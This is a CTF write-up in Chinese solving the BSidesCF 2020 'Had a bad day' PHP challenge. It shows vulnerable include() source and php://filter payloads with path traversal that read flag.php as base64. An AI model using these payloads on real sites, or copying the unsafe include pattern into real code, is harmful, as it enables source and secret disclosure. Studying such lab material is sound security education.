BUU34 [BSidesCF 2020]Had a bad day1 【php://filter】

题目:

发现url有点奇怪

尝试读取一下flag.php,出现错误了

感觉有希望,一看url中还有个index.php,那就试试读取源码吧

出现错误,原来是index.php.php重合了,把php去掉 ,出现了

php 复制代码
<?php
	$file = $_GET['category'];

	if(isset($file))
				{
	    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
					}
	else{
			echo "Sorry, we currently only support woofers and meowers.";
					}
				}
?>

让提交的内容中含有woofers,meowers或者index就行了

这里面write可写可不写:

write 的作用是将经过特定过滤处理后(用php://filter过滤的)的数据写入到指定的文件中。而 index.php 就是指定的目标文件。也就是说,write=index.php 表示要把经过当前过滤器处理后的数据写入到 index.php 文件里。

解码得到flag

filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
?category=php://filter/read=index/convert.base64-encode/resource=flag(顺序可以变换)

PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响

所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag

相关推荐
louisgeek3 小时前
Android Studio 和 Git
android
solo_997 小时前
Android Event 日志完全指南
android
孙晓鹏life8 小时前
MySQL-Seconds_behind_master的精度误差
android·mysql·adb
雨白8 小时前
C 语言文件操作核心
android
鱼儿也有烦恼9 小时前
01.搭建Android Studio开发环境
android·android studio
m0_7381207210 小时前
PHP代码审计基础——面向对象(四)
android·开发语言·网络·安全·github·php
Coffeeee12 小时前
搞Android的怎么可能搞不懂Context Engineering?
android·人工智能·ai编程
Carson带你学Android12 小时前
Gemini Nano 开发实战:让你的App轻松拥有端侧 AI 功能
android·ai编程
TDengine (老段)13 小时前
TDengine SMA 索引 — 块级/文件级统计索引
android·大数据·服务器·数据库·人工智能·时序数据库·tdengine
心中有国也有家13 小时前
AtomGit Flutter 鸿蒙客户端: AnimatedScale 与 AnimatedContainer 联合实战
android·javascript·flutter·华为·harmonyos